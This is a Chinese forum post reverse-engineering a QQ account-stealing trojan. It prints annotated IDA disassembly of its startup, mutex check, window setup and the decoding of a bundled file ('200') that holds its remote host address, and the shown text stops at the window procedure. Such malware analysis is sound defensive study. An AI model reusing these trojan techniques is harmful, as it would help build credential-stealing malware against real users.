吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 30090|回复: 83
收起左侧

[PC样本分析] 一个QQ盗号木马的逆向分析

  [复制链接]
冰琥珀 发表于 2014-4-13 13:24
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
    在纠结着这个帖子要不要发,类似的盗号木@JoyChou 已经分析过了,附上JoyChou的原帖路径:http://www.52pojie.cn/thread-207651-1-1.html

    这是@lhc5800 在病毒样本区发的一个样本:http://www.52pojie.cn/thread-244182-1-1.html

    通过一段纠结之后,觉得还是分析吧,就当练练手,自己之前也没分析过木马样本,这个比较简单,正适合我现在分析,好了,开始我们的逆向之旅吧。
    IDA载入,直接来到winmain函数中,如下所示:
[Asm] 纯文本查看 复制代码
0040188C 58                                      pop     eax
.text:0040188D 8D 44 24 0C                             lea     eax, [esp+30h+Name]
.text:00401891 50                                      push    eax             ; lpName
.text:00401892 6A 00                                   push    0               ; bInitialOwner
.text:00401894 6A 00                                   push    0               ; lpMutexAttributes
.text:00401896 66 C7 44 24 18 54 00                    mov     [esp+3Ch+Name], 54h
.text:0040189D 66 C7 44 24 1A 00 00                    mov     [esp+3Ch+var_22], 0
.text:004018A4 FF 15 6C 40 40 00                       call    ds:CreateMutexW ; 创建互斥体
.text:004018AA FF 15 68 40 40 00                       call    ds:GetLastError
.text:004018B0 3D B7 00 00 00                          cmp     eax, 0B7h
.text:004018B5 75 0B                                   jnz     short loc_4018C2
.text:004018B7
.text:004018B7                         loc_4018B7:                             ; CODE XREF: WinMain(x,x,x,x)+B4j
.text:004018B7 33 C0                                   xor     eax, eax
.text:004018B9 5F                                      pop     edi
.text:004018BA 5E                                      pop     esi
.text:004018BB 5D                                      pop     ebp
.text:004018BC 83 C4 24                                add     esp, 24h
.text:004018BF C2 10 00                                retn    10h
.text:004018C2                         ; ---------------------------------------------------------------------------
.text:004018C2
.text:004018C2                         loc_4018C2:                             ; CODE XREF: WinMain(x,x,x,x)+35j
.text:004018C2 8B 4C 24 34                             mov     ecx, [esp+30h+hInstance]
.text:004018C6 6A 70                                   push    70h             ; Size
.text:004018C8 6A 00                                   push    0               ; Val
.text:004018CA 68 18 64 40 00                          push    offset unk_406418 ; Dst
.text:004018CF 89 0D 44 D4 40 00                       mov     hInstance, ecx
.text:004018D5 E8 A4 1F 00 00                          call    memset
.text:004018DA 83 C4 0C                                add     esp, 0Ch
.text:004018DD C7 05 EC 63 40 00 00 00+                mov     dword_4063EC, 0
.text:004018E7 C6 44 24 34 6B                          mov     byte ptr [esp+30h+hInstance], 6Bh
.text:004018EC C6 44 24 35 00                          mov     byte ptr [esp+30h+hInstance+1], 0
.text:004018F1 33 C0                                   xor     eax, eax
.text:004018F3
.text:004018F3                         loc_4018F3:                             ; CODE XREF: WinMain(x,x,x,x)+82j
.text:004018F3 8A 4C 04 34                             mov     cl, byte ptr [esp+eax+30h+hInstance]
.text:004018F7 88 88 20 D4 40 00                       mov     ClassName[eax], cl
.text:004018FD 83 C0 01                                add     eax, 1
.text:00401900 84 C9                                   test    cl, cl
.text:00401902 75 EF                                   jnz     short loc_4018F3
.text:00401904 33 C0                                   xor     eax, eax
.text:00401906 EB 08                                   jmp     short loc_401910
.text:00401906                         ; ---------------------------------------------------------------------------
.text:00401908 8D A4 24 00 00 00 00 90                 align 10h
.text:00401910
.text:00401910                         loc_401910:                             ; CODE XREF: WinMain(x,x,x,x)+86j
.text:00401910                                                                 ; WinMain(x,x,x,x)+A1j
.text:00401910 8A 88 20 D4 40 00                       mov     cl, ClassName[eax]
.text:00401916 88 88 2C D4 40 00                       mov     WindowName[eax], cl
.text:0040191C 83 C0 01                                add     eax, 1
.text:0040191F 84 C9                                   test    cl, cl
.text:00401921 75 ED                                   jnz     short loc_401910
.text:00401923 E8 58 06 00 00                          call    sub_401F80      ; 解密文件夹下的200文件(这个文件的内容解密出来后就是远程主机的ip)
.text:00401928 E8 73 00 00 00                          call    sub_4019A0      ; 注册窗口类
.text:0040192D E8 0E 01 00 00                          call    sub_401A40      ; 创建窗口
.text:00401932 85 C0                                   test    eax, eax
.text:00401934 74 81                                   jz      short loc_4018B7
.text:00401936 8D 54 24 10                             lea     edx, [esp+30h+ThreadId]
.text:0040193A 52                                      push    edx             ; lpThreadId
.text:0040193B 6A 00                                   push    0               ; dwCreationFlags
.text:0040193D 6A 00                                   push    0               ; lpParameter
.text:0040193F 68 50 29 40 00                          push    offset StartAddress ; lpStartAddress
.text:00401944 6A 00                                   push    0               ; dwStackSize
.text:00401946 6A 00                                   push    0               ; lpThreadAttributes
.text:00401948 FF 15 58 40 40 00                       call    ds:CreateThread
.text:0040194E 8B 35 7C 41 40 00                       mov     esi, ds:GetMessageA
.text:00401954 6A 00                                   push    0               ; wMsgFilterMax
.text:00401956 6A 00                                   push    0               ; wMsgFilterMin
.text:00401958 6A 00                                   push    0               ; hWnd
.text:0040195A 8D 44 24 20                             lea     eax, [esp+3Ch+Msg]
.text:0040195E 50                                      push    eax             ; lpMsg
.text:0040195F FF D6                                   call    esi ; GetMessageA
.text:00401961 85 C0                                   test    eax, eax
.text:00401963 74 2B                                   jz      short loc_401990
.text:00401965 8B 3D 80 41 40 00                       mov     edi, ds:TranslateMessage
.text:0040196B 8B 2D 84 41 40 00                       mov     ebp, ds:DispatchMessageA
.text:00401971
.text:00401971                         loc_401971:                             ; CODE XREF: WinMain(x,x,x,x)+10Ej
.text:00401971 8D 4C 24 14                             lea     ecx, [esp+30h+Msg]
.text:00401975 51                                      push    ecx             ; lpMsg
.text:00401976 FF D7                                   call    edi ; TranslateMessage
.text:00401978 8D 54 24 14                             lea     edx, [esp+30h+Msg]
.text:0040197C 52                                      push    edx             ; lpMsg
.text:0040197D FF D5                                   call    ebp ; DispatchMessageA
.text:0040197F 6A 00                                   push    0               ; wMsgFilterMax
.text:00401981 6A 00                                   push    0               ; wMsgFilterMin
.text:00401983 6A 00                                   push    0               ; hWnd
.text:00401985 8D 44 24 20                             lea     eax, [esp+3Ch+Msg]
.text:00401989 50                                      push    eax             ; lpMsg
.text:0040198A FF D6                                   call    esi ; GetMessageA
.text:0040198C 85 C0                                   test    eax, eax
.text:0040198E 75 E1                                   jnz     short loc_401971
.text:00401990
.text:00401990                         loc_401990:                             ; CODE XREF: WinMain(x,x,x,x)+E3j
.text:00401990 8B 44 24 1C                             mov     eax, [esp+30h+Msg.wParam]
.text:00401994 5F                                      pop     edi
.text:00401995 5E                                      pop     esi
.text:00401996 5D                                      pop     ebp
.text:00401997 83 C4 24                                add     esp, 24h
.text:0040199A C2 10 00                                retn    10h
.text:0040199A                         _WinMain@16     endp




     本来想截图的,但是这个代码有点多,不好截图,就贴代码吧。代码虽然有点多,但是有用的东西不多,下面我们就一一来进行分析。在winmain开始的时候,就用 call    ds:CreateMutexW来创建一个互斥体,这个主要是避免程序同时运行,然后判断下GetLastError的返回值,如果返回值不等于0x0b7(十进制是183,GetLastError返回值列表中的注释为:〖183〗-当文件已存在时,无法创建该文件。),即检测程序是否有在运行,如果运行就不跳转,否则程序跳转下去,继续运行。
    跳转之后,程序先初始化一个数组,至于这个数组用来干嘛,我们后面会有分析。先看代码
[Asm] 纯文本查看 复制代码
mov     ecx, [esp+30h+hInstance]
.text:004018C6 6A 70                                   push    70h             ; Size                      ;数组长度
.text:004018C8 6A 00                                   push    0               ; Val                         ;初始化的值
.text:004018CA 68 18 64 40 00                          push    offset unk_406418 ; Dst     ;数组地址
.text:004018CF 89 0D 44 D4 40 00                       mov     hInstance, ecx
.text:004018D5 E8 A4 1F 00 00                          call    memset




     然后就是初始化类名和窗口名,代码如下
[Asm] 纯文本查看 复制代码
004018E7 C6 44 24 34 6B                          mov     byte ptr [esp+30h+hInstance], 6Bh
.text:004018EC C6 44 24 35 00                          mov     byte ptr [esp+30h+hInstance+1], 0
.text:004018F1 33 C0                                   xor     eax, eax
.text:004018F3
.text:004018F3                         loc_4018F3:                             ; CODE XREF: WinMain(x,x,x,x)+82j
.text:004018F3 8A 4C 04 34                             mov     cl, byte ptr [esp+eax+30h+hInstance] ; 初始化类名
.text:004018F7 88 88 20 D4 40 00                       mov     ClassName[eax], cl
.text:004018FD 83 C0 01                                add     eax, 1
.text:00401900 84 C9                                   test    cl, cl
.text:00401902 75 EF                                   jnz     short loc_4018F3 ; 初始化ClassName
.text:00401904 33 C0                                   xor     eax, eax
.text:00401906 EB 08                                   jmp     short loc_401910
.text:00401906                         ; ---------------------------------------------------------------------------
.text:00401908 8D A4 24 00 00 00 00 90                 align 10h
.text:00401910
.text:00401910                         loc_401910:                             ; CODE XREF: WinMain(x,x,x,x)+86j
.text:00401910                                                                 ; WinMain(x,x,x,x)+A1j
.text:00401910 8A 88 20 D4 40 00                       mov     cl, ClassName[eax]
.text:00401916 88 88 2C D4 40 00                       mov     WindowName[eax], cl ; 初始化窗口名
.text:0040191C 83 C0 01                                add     eax, 1
.text:0040191F 84 C9                                   test    cl, cl
.text:00401921 75 ED                                   jnz     short loc_401910




     通过上面这段代码我们可以知道,这个类名和窗口名是一样的,都是0x6b,通过ascii码查找可知这是字符'k'。这两个初始化完成之后,程序就调用了3个函数,接下来我们来好好分析下这些函数都干了些啥活。先看call    sub_401F80,在上面的代码中我有注释,这个函数就是解密当前文件夹下的200文件(这个木马附带了一个名为200的文件)。我们来看看具体内容。先上代码:
[Asm] 纯文本查看 复制代码
.text:00401F80 81 EC 08 02 00 00                       sub     esp, 208h
.text:00401F86 A1 18 60 40 00                          mov     eax, ___security_cookie
.text:00401F8B 33 C4                                   xor     eax, esp
.text:00401F8D 89 84 24 04 02 00 00                    mov     [esp+208h+var_4], eax
.text:00401F94 8D 44 24 10                             lea     eax, [esp+208h+FileName]
.text:00401F98 50                                      push    eax             ; lpBuffer
.text:00401F99 68 F4 01 00 00                          push    1F4h            ; nBufferLength
.text:00401F9E FF 15 3C 40 40 00                       call    ds:GetCurrentDirectoryA




     代码有点多,我们一点一点来分析。在函数开始处,就调用了一个GetCurrentDirectoryA函数,这个函数就是获取当前路径的,获取到的路径保存在[esp+208h+FileName]里面,然后我们接着往下看。
[Asm] 纯文本查看 复制代码
.text:00401FA4 B0 5C                                   mov     al, 5Ch                           ; 对应的ascii字符是'\'                  
.text:00401FA6 88 44 24 08                             mov     [esp+208h+var_200], al
.text:00401FAA 88 44 24 09                             mov     [esp+208h+var_1FF], al
.text:00401FAE B0 30                                   mov     al, 30h                                      ; 对应的ascii字符是'0'
.text:00401FB0 88 44 24 0B                             mov     [esp+208h+var_1FD], al
.text:00401FB4 88 44 24 0C                             mov     [esp+208h+var_1FC], al
.text:00401FB8 8D 44 24 08                             lea     eax, [esp+208h+var_200]
.text:00401FBC C6 44 24 0A 32                          mov     [esp+208h+var_1FE], 32h  ; 对应的ascii字符是'2'
.text:00401FC1 C6 44 24 0D 00                          mov     [esp+208h+var_1FB], 0
.text:00401FC6 8B C8                                   mov     ecx, eax




     上面的这段代码就是在局部变量数组中填充字符串,上面这段代码填充的字符串就是"\\200",这个其实就是木马附带的文件名,后面要用到。这个字符串的首地址放到的eax和ecx中。我们接着往下看:
[Asm] 纯文本查看 复制代码
.text:00401FC8                         loc_401FC8:                             ; CODE XREF: sub_401F80+4Fj
.text:00401FC8 8A 10                                   mov     dl, [eax]
.text:00401FCA 83 C0 01                                add     eax, 1
.text:00401FCD 84 D2                                   test    dl, dl
.text:00401FCF 75 F7                                   jnz     short loc_401FC8
.text:00401FD1 53                                      push    ebx
.text:00401FD2 56                                      push    esi
.text:00401FD3 57                                      push    edi
.text:00401FD4 8D 7C 24 1C                             lea     edi, [esp+214h+FileName]
.text:00401FD8 2B C1                                   sub     eax, ecx
.text:00401FDA 8B F1                                   mov     esi, ecx
.text:00401FDC 83 C7 FF                                add     edi, 0FFFFFFFFh
.text:00401FDF 90                                      nop




     上面讲到生成了一个字符串,还把首地址放到eax中,然后再上面的这段代码中,就从eax中取出数据,检测是否为0,不为0则获取下一位继续检测,这种手法很常见,几乎都是用来计算字符串长度的,这里也不例外。大家可以看到,在检测完成之后,有sub     eax, ecx这个一行代码,此时eax保存的是字符串尾指针,ecx保存的是字符串头指针,这两个相减就是字符串的长度。这里还把之前保存当前路径缓存的首地址保存到了edi中,我们接着往下看。
[Asm] 纯文本查看 复制代码
.text:00401FE0                         loc_401FE0:                             ; CODE XREF: sub_401F80+68j
.text:00401FE0 8A 4F 01                                mov     cl, [edi+1]
.text:00401FE3 83 C7 01                                add     edi, 1
.text:00401FE6 84 C9                                   test    cl, cl
.text:00401FE8 75 F6                                   jnz     short loc_401FE0
.text:00401FEA 8B C8                                   mov     ecx, eax
.text:00401FEC C1 E9 02                                shr     ecx, 2
.text:00401FEF F3 A5                                   rep movsd




     在上面的代码中我们有看到了一个与之前计算字符串长度相类似的代码,只是这里没有计算字符串长度,而是为了把指针移到字符串尾,然后把前面生成的"\\200"添加上去。然后就是打开200文件,并读取里面的内容,代码如下
[Asm] 纯文本查看 复制代码
.text:00401FF1 6A 00                                   push    0               ; hTemplateFile
.text:00401FF3 6A 00                                   push    0               ; dwFlagsAndAttributes
.text:00401FF5 6A 03                                   push    3               ; dwCreationDisposition
.text:00401FF7 6A 00                                   push    0               ; lpSecurityAttributes
.text:00401FF9 8B C8                                   mov     ecx, eax
.text:00401FFB 83 E1 03                                and     ecx, 3
.text:00401FFE 6A 01                                   push    1               ; dwShareMode
.text:00402000 F3 A4                                   rep movsb
.text:00402002 68 00 00 00 80                          push    80000000h       ; dwDesiredAccess
.text:00402007 8D 4C 24 34                             lea     ecx, [esp+22Ch+FileName]
.text:0040200B 51                                      push    ecx             ; lpFileName
.text:0040200C FF 15 40 40 40 00                       call    ds:CreateFileA  ; 打开200文件
.text:00402012 8B D8                                   mov     ebx, eax
.text:00402014 83 FB FF                                cmp     ebx, 0FFFFFFFFh
.text:00402017 89 5C 24 0C                             mov     [esp+214h+var_208], ebx
.text:0040201B 75 1A                                   jnz     short loc_402037 ; 文件打开成功则跳转
.text:0040201D 5F                                      pop     edi
.text:0040201E 5E                                      pop     esi
.text:0040201F 33 C0                                   xor     eax, eax
.text:00402021 5B                                      pop     ebx
.text:00402022 8B 8C 24 04 02 00 00                    mov     ecx, [esp+208h+var_4]
.text:00402029 33 CC                                   xor     ecx, esp
.text:0040202B E8 A4 0F 00 00                          call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00402030 81 C4 08 02 00 00                       add     esp, 208h
.text:00402036 C3                                      retn
.text:00402037                         ; ---------------------------------------------------------------------------
.text:00402037
.text:00402037                         loc_402037:                             ; CODE XREF: sub_401F80+9Bj
.text:00402037 55                                      push    ebp
.text:00402038 6A 00                                   push    0               ; lpFileSizeHigh
.text:0040203A 53                                      push    ebx             ; hFile
.text:0040203B FF 15 44 40 40 00                       call    ds:GetFileSize  ; 获取文件长度
.text:00402041 8B F0                                   mov     esi, eax
.text:00402043 8D 7E 01                                lea     edi, [esi+1]
.text:00402046 57                                      push    edi             ; unsigned int
.text:00402047 E8 98 0F 00 00                          call    ??2@YAPAXI@Z    ; operator new(uint)
.text:0040204C 57                                      push    edi             ; Size
.text:0040204D 8B E8                                   mov     ebp, eax
.text:0040204F 6A 00                                   push    0               ; Val
.text:00402051 55                                      push    ebp             ; Dst
.text:00402052 E8 27 18 00 00                          call    memset          ; 分配一个内存并初始化,内存大小为200文件大小
.text:00402057 83 C4 10                                add     esp, 10h
.text:0040205A 6A 00                                   push    0               ; lpOverlapped
.text:0040205C 8D 54 24 18                             lea     edx, [esp+21Ch+NumberOfBytesRead]
.text:00402060 52                                      push    edx             ; lpNumberOfBytesRead
.text:00402061 56                                      push    esi             ; nNumberOfBytesToRead
.text:00402062 55                                      push    ebp             ; lpBuffer
.text:00402063 53                                      push    ebx             ; hFile
.text:00402064 FF 15 48 40 40 00                       call    ds:ReadFile     ; 读取200文件
.text:0040206A 68 D5 00 00 00                          push    0D5h            ; Size
.text:0040206F 6A 00                                   push    0               ; Val
.text:00402071 68 D5 00 00 00                          push    0D5h            ; unsigned int
.text:00402076 E8 69 0F 00 00                          call    ??2@YAPAXI@Z    ; operator new(uint)
.text:0040207B 83 C4 04                                add     esp, 4
.text:0040207E 50                                      push    eax             ; Dst
.text:0040207F E8 FA 17 00 00                          call    memset          ; 分配一个内存并初始化,大小为0x0d5




     我们说过,这个函数的主要功能就是解密200文件,上面这段代码已经将文件内容读取出来了,文件内容缓存的首地址保存在ebp中。接下来就要对文件内容进行解密了,我们一点一点来分析。
[Asm] 纯文本查看 复制代码
.text:00402090                         loc_402090:                             ; CODE XREF: sub_401F80+117j
.text:00402090 8A 10                                   mov     dl, [eax]       ; 取出一字节数据
.text:00402092 83 C0 01                                add     eax, 1          ; 指针下移一位
.text:00402095 84 D2                                   test    dl, dl
.text:00402097 75 F7                                   jnz     short loc_402090 ; 如果取出的数据不为0则继续获取,否则停止获取
.text:00402099 2B C6                                   sub     eax, esi        ; 检测取出的数据的个数
.text:0040209B 74 22                                   jz      short loc_4020BF ; 如果结果为0说明这里没有字符串,不用对其进行解密,程序跳转去查找第二段字符串
.text:0040209D 8D 49 00                                lea     ecx, [ecx+0]
.text:004020A0
.text:004020A0                         loc_4020A0:                             ; CODE XREF: sub_401F80+13Dj
.text:004020A0 80 04 29 BA                             add     byte ptr [ecx+ebp], 0BAh ; 解密数据,由此可知,取出的这段字符串在保存时是与0x0ba进行减法运算,然后才保存的
.text:004020A4 8B C5                                   mov     eax, ebp
.text:004020A6 83 C1 01                                add     ecx, 1
.text:004020A9 8D 70 01                                lea     esi, [eax+1]
.text:004020AC 8D 64 24 00                             lea     esp, [esp+0]
.text:004020B0
.text:004020B0                         loc_4020B0:                             ; CODE XREF: sub_401F80+137j
.text:004020B0 8A 10                                   mov     dl, [eax]       ; 这个循环获取字符串的长度
.text:004020B2 83 C0 01                                add     eax, 1
.text:004020B5 84 D2                                   test    dl, dl
.text:004020B7 75 F7                                   jnz     short loc_4020B0 ; 这个循环获取字符串的长度
.text:004020B9 2B C6                                   sub     eax, esi
.text:004020BB 3B C8                                   cmp     ecx, eax        ; 检测数据是否解密完成
.text:004020BD 72 E1                                   jb      short loc_4020A0 ; 未解密完成则跳转




   上面这段代码先是判断是否存在字符串,如果存在字符串,则对其进行解密,解密的过程如上面的代码所示。如果第一段字符串不存在,那么就继续查找第二段字符串。代码如下:
[Asm] 纯文本查看 复制代码
.text:004020BF                         loc_4020BF:                             ; CODE XREF: sub_401F80+11Bj
.text:004020BF 8D 45 0B                                lea     eax, [ebp+0Bh]  ; 第二段字符串的偏移为0x0b
.text:004020C2 8D 50 01                                lea     edx, [eax+1]
.text:004020C5
.text:004020C5                         loc_4020C5:                             ; CODE XREF: sub_401F80+14Cj
.text:004020C5 8A 08                                   mov     cl, [eax]       ; 取出数据
.text:004020C7 83 C0 01                                add     eax, 1
.text:004020CA 84 C9                                   test    cl, cl
.text:004020CC 75 F7                                   jnz     short loc_4020C5 ; 取到的数据为0,则说明指针已经移到字符串尾
.text:004020CE 2B C2                                   sub     eax, edx        ; 判断取到的字符串个数
.text:004020D0 74 30                                   jz      short loc_402102 ; 如果为0则说明没有字符串,程序跳转到下一个偏移继续查找
.text:004020D2 BF F5 FF FF FF                          mov     edi, 0FFFFFFF5h
.text:004020D7 8D 4D 0B                                lea     ecx, [ebp+0Bh]
.text:004020DA 2B FD                                   sub     edi, ebp        ; 这里其实是为了下面计算读取到的字符个数
.text:004020DC 8D 64 24 00                             lea     esp, [esp+0]
.text:004020E0
.text:004020E0                         loc_4020E0:                             ; CODE XREF: sub_401F80+180j
.text:004020E0 80 01 BA                                add     byte ptr [ecx], 0BAh ; 字符解密,与上一个字符串的解密方式一样
.text:004020E3 8D 45 0B                                lea     eax, [ebp+0Bh]
.text:004020E6 83 C1 01                                add     ecx, 1
.text:004020E9 8D 70 01                                lea     esi, [eax+1]
.text:004020EC 8D 64 24 00                             lea     esp, [esp+0]
.text:004020F0
.text:004020F0                         loc_4020F0:                             ; CODE XREF: sub_401F80+177j
.text:004020F0 8A 10                                   mov     dl, [eax]
.text:004020F2 83 C0 01                                add     eax, 1
.text:004020F5 84 D2                                   test    dl, dl
.text:004020F7 75 F7                                   jnz     short loc_4020F0 ; 这个循环计算这段字符串的长度
.text:004020F9 2B C6                                   sub     eax, esi
.text:004020FB 8D 14 0F                                lea     edx, [edi+ecx]  ; 这里得到的是当前已经解密的字符个数
.text:004020FE 3B D0                                   cmp     edx, eax
.text:00402100 72 DE                                   jb      short loc_4020E0 ; 字符串未解密完成则跳转回去接续解密
.text:00402102
.text:00402102                         loc_402102:                             ; CODE XREF: sub_401F80+150j
.text:00402102 8D 7D 70                                lea     edi, [ebp+70h]  ; 获取第三段字符串:第三段字符串的偏移为0x70
.text:00402105 8B C7                                   mov     eax, edi
.text:00402107 8D 50 01                                lea     edx, [eax+1]
.text:0040210A 8D 9B 00 00 00 00                       lea     ebx, [ebx+0]
.text:00402110
.text:00402110                         loc_402110:                             ; CODE XREF: sub_401F80+197j
.text:00402110 8A 08                                   mov     cl, [eax]
.text:00402112 83 C0 01                                add     eax, 1
.text:00402115 84 C9                                   test    cl, cl
.text:00402117 75 F7                                   jnz     short loc_402110 ; 计算字符串长度
.text:00402119 2B C2                                   sub     eax, edx
.text:0040211B 74 2A                                   jz      short loc_402147 ; 如果字符串不存在则往下跳转
.text:0040211D BB 90 FF FF FF                          mov     ebx, 0FFFFFF90h
.text:00402122 8B CF                                   mov     ecx, edi
.text:00402124 2B DD                                   sub     ebx, ebp
.text:00402126
.text:00402126                         loc_402126:                             ; CODE XREF: sub_401F80+1C1j
.text:00402126 80 01 BA                                add     byte ptr [ecx], 0BAh ; 解密字符
.text:00402129 8B C7                                   mov     eax, edi
.text:0040212B 83 C1 01                                add     ecx, 1
.text:0040212E 8D 70 01                                lea     esi, [eax+1]
.text:00402131
.text:00402131                         loc_402131:                             ; CODE XREF: sub_401F80+1B8j
.text:00402131 8A 10                                   mov     dl, [eax]
.text:00402133 83 C0 01                                add     eax, 1
.text:00402136 84 D2                                   test    dl, dl
.text:00402138 75 F7                                   jnz     short loc_402131 ; 这个循环计算待解密的字符串大小
.text:0040213A 2B C6                                   sub     eax, esi
.text:0040213C 8D 14 0B                                lea     edx, [ebx+ecx]
.text:0040213F 3B D0                                   cmp     edx, eax
.text:00402141 72 E3                                   jb      short loc_402126 ; 字符未解密完成则跳转回去继续解密
.text:00402143 8B 5C 24 10                             mov     ebx, [esp+218h+var_208] ; 把文件句柄存入ebx




     上面这段代码把字符串都解密了,解密的方式和第一段字符串的方式一样,这里就不具体分析了。当数据全部解密了之后,程序申请的一段内存空间来存放解密过后的数据,并将这段内存空间地址保存在一个全局变量中,代码如下:
[Asm] 纯文本查看 复制代码
.text:00402147                         loc_402147:                             ; CODE XREF: sub_401F80+19Bj
.text:00402147 68 E9 00 00 00                          push    0E9h            ; unsigned int
.text:0040214C E8 93 0E 00 00                          call    ??2@YAPAXI@Z    ; operator new(uint)
.text:00402151 68 E9 00 00 00                          push    0E9h            ; Size
.text:00402156 8B F0                                   mov     esi, eax
.text:00402158 6A 00                                   push    0               ; Val
.text:0040215A 56                                      push    esi             ; Dst
.text:0040215B 89 35 14 64 40 00                       mov     dword_406414, esi ; 将申请到的内存地址保存到全局变量中
.text:00402161 E8 18 17 00 00                          call    memset          ; 申请内存空间并将其初始化
.text:00402166 8D 45 0B                                lea     eax, [ebp+0Bh]  ; 已经解密的第二串字符串地址
.text:00402169 8D 56 0B                                lea     edx, [esi+0Bh]  ; 设置字符串的存放位置
.text:0040216C 83 C4 10                                add     esp, 10h
.text:0040216F 2B D0                                   sub     edx, eax
.text:00402171
.text:00402171                         loc_402171:                             ; CODE XREF: sub_401F80+1FBj
.text:00402171 8A 08                                   mov     cl, [eax]       ; 取出解密好的数据
.text:00402173 88 0C 02                                mov     [edx+eax], cl   ; 将数据存入新申请的内存空间中
.text:00402176 83 C0 01                                add     eax, 1
.text:00402179 84 C9                                   test    cl, cl
.text:0040217B 75 F4                                   jnz     short loc_402171 ; 数据为存放完毕则跳回去继续存放
.text:0040217D 8D 56 70                                lea     edx, [esi+70h]  ; 设置下一个字符串的存放位置
.text:00402180 8B C7                                   mov     eax, edi
.text:00402182 2B D7                                   sub     edx, edi
.text:00402184
.text:00402184                         loc_402184:                             ; CODE XREF: sub_401F80+20Ej
.text:00402184 8A 08                                   mov     cl, [eax]       ; 取出字符串
.text:00402186 88 0C 02                                mov     [edx+eax], cl   ; 将字符串存入新分配的内存中
.text:00402189 83 C0 01                                add     eax, 1
.text:0040218C 84 C9                                   test    cl, cl
.text:0040218E 75 F4                                   jnz     short loc_402184
.text:00402190 8B D6                                   mov     edx, esi        ; 设置偏移为0的字符串的存放位置
.text:00402192 8B C5                                   mov     eax, ebp        ; 偏移为0的字符串地址
.text:00402194 2B D5                                   sub     edx, ebp
.text:00402196 5D                                      pop     ebp
.text:00402197
.text:00402197                         loc_402197:                             ; CODE XREF: sub_401F80+221j
.text:00402197 8A 08                                   mov     cl, [eax]       ; 取出字符串
.text:00402199 88 0C 02                                mov     [edx+eax], cl   ; 存入字符串
.text:0040219C 83 C0 01                                add     eax, 1
.text:0040219F 84 C9                                   test    cl, cl
.text:004021A1 75 F4                                   jnz     short loc_402197 ; 取出字符串
.text:004021A3 53                                      push    ebx             ; hObject
.text:004021A4 FF 15 4C 40 40 00                       call    ds:CloseHandle  ; 关闭文件
.text:004021AA 8B 8C 24 10 02 00 00                    mov     ecx, [esp+214h+var_4]
.text:004021B1 5F                                      pop     edi
.text:004021B2 5E                                      pop     esi
.text:004021B3 5B                                      pop     ebx
.text:004021B4 33 CC                                   xor     ecx, esp
.text:004021B6 B8 01 00 00 00                          mov     eax, 1
.text:004021BB E8 14 0E 00 00                          call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:004021C0 81 C4 08 02 00 00                       add     esp, 208h
.text:004021C6 C3                                      retn
.text:004021C6                         sub_401F80      endp




     这样,我们就把这个木马附带的200文件数据的解密方式给分析完了,接下来,我们就要去看看这个木马是怎么干活的。继续我们的分析,接下来看call    sub_4019A0      ; 注册窗口类函数,代码如下:
[Asm] 纯文本查看 复制代码
.text:004019A0 83 EC 30                                sub     esp, 30h
.text:004019A3 A1 44 D4 40 00                          mov     eax, hInstance
.text:004019A8 56                                      push    esi
.text:004019A9 8B 35 60 41 40 00                       mov     esi, ds:LoadIconA
.text:004019AF 68 00 7F 00 00                          push    7F00h           ; lpIconName
.text:004019B4 6A 00                                   push    0               ; hInstance
.text:004019B6 C7 44 24 0C 30 00 00 00                 mov     [esp+3Ch+var_30.cbSize], 30h
.text:004019BE C7 44 24 10 03 00 00 00                 mov     [esp+3Ch+var_30.style], 3
.text:004019C6 C7 44 24 14 D0 21 40 00                 mov     [esp+3Ch+var_30.lpfnWndProc], offset sub_4021D0    ; 消息处理过程函数
.text:004019CE C7 44 24 18 00 00 00 00                 mov     [esp+3Ch+var_30.cbClsExtra], 0
.text:004019D6 C7 44 24 1C 00 00 00 00                 mov     [esp+3Ch+var_30.cbWndExtra], 0
.text:004019DE 89 44 24 20                             mov     [esp+3Ch+var_30.hInstance], eax
.text:004019E2 FF D6                                   call    esi ; LoadIconA
.text:004019E4 68 00 7F 00 00                          push    7F00h           ; lpCursorName
.text:004019E9 6A 00                                   push    0               ; hInstance
.text:004019EB 89 44 24 24                             mov     [esp+3Ch+var_30.hIcon], eax
.text:004019EF FF 15 64 41 40 00                       call    ds:LoadCursorA
.text:004019F5 8B 4C 24 18                             mov     ecx, [esp+34h+var_30.hInstance]
.text:004019F9 68 00 7F 00 00                          push    7F00h           ; lpIconName
.text:004019FE 51                                      push    ecx             ; hInstance
.text:004019FF 89 44 24 28                             mov     [esp+3Ch+var_30.hCursor], eax
.text:00401A03 C7 44 24 2C 06 00 00 00                 mov     [esp+3Ch+var_30.hbrBackground], 6
.text:00401A0B C7 44 24 30 00 00 00 00                 mov     [esp+3Ch+var_30.lpszMenuName], 0
.text:00401A13 C7 44 24 34 20 D4 40 00                 mov     [esp+3Ch+var_30.lpszClassName], offset ClassName
.text:00401A1B FF D6                                   call    esi ; LoadIconA
.text:00401A1D 8D 54 24 04                             lea     edx, [esp+34h+var_30]
.text:00401A21 52                                      push    edx             ; WNDCLASSEXA *
.text:00401A22 89 44 24 34                             mov     [esp+38h+var_30.hIconSm], eax
.text:00401A26 FF 15 68 41 40 00                       call    ds:RegisterClassExA
.text:00401A2C 5E                                      pop     esi
.text:00401A2D 83 C4 30                                add     esp, 30h
.text:00401A30 C3                                      retn




     上面的这段代码注册了一个窗口类,这个窗口的消息处理过程函数是sub_4021D0,当这个窗口接收到消息后,都会调用这个消息处理过程函数来处理接收到的消息。下面我们来看这个消息处理过程都干了些啥。
[Asm] 纯文本查看 复制代码
.text:004021D9 A1 18 60 40 00                          mov     eax, ___security_cookie
.text:004021DE 33 C4                                   xor     eax, esp
.text:004021E0 89 44 24 78                             mov     [esp+7Ch+var_4], eax
.text:004021E4 8B 45 0C                                mov     eax, [ebp+Msg]
.text:004021E7 53                                      push    ebx
.text:004021E8 33 DB                                   xor     ebx, ebx
.text:004021EA 83 E8 01                                sub     eax, 1          ; 检测消息是否为WM_CREATE
.text:004021ED 56                                      push    esi
.text:004021EE 8B 75 08                                mov     esi, [ebp+hWnd]
.text:004021F1 57                                      push    edi
